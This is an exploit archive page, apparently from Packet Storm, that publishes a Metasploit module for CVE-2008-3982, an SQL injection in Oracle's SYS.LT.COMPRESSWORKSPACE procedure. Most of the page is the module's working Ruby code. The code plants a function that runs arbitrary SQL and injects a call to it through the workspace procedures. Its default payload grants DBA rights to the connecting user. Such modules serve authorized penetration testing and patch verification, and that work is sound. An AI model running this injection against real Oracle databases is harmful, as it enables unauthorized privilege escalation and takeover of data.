what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle DB SQL Injection Via SYS.LT.COMPRESSWORKSPACE

Oracle DB SQL Injection Via SYS.LT.COMPRESSWORKSPACE
Posted Aug 31, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module exploits an sql injection flaw in the COMPRESSWORKSPACE procedure of the PL/SQL package SYS.LT. Any user with execute privilege on the vulnerable package can exploit this vulnerability.

tags | exploit, sql injection
advisories | CVE-2008-3982
SHA-256 | 8d3bbc62256bcef0370fd324d79badfe6dada95158c7b728fcf20137808677d2

Oracle DB SQL Injection Via SYS.LT.COMPRESSWORKSPACE

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE',
'Description' => %q{
This module exploits an sql injection flaw in the COMPRESSWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'CG' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-3982'],
[ 'OSVDB', '49324'],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ]
],
'DisclosureDate' => '2008-10-13'))

register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
])
end

def run
return if not check_dependencies

name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(1)

function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"

package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"

package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"

clean = "DROP FUNCTION #{cruft}"

print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")

print_status("Sending function...")
prepare_exec(function)

begin
prepare_exec(package1)
prepare_exec(package2)
rescue => e
if ( e.to_s =~ /No Data/ )
print_status("Removing function '#{cruft}'...")
prepare_exec(clean)
else
return
end
end

end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close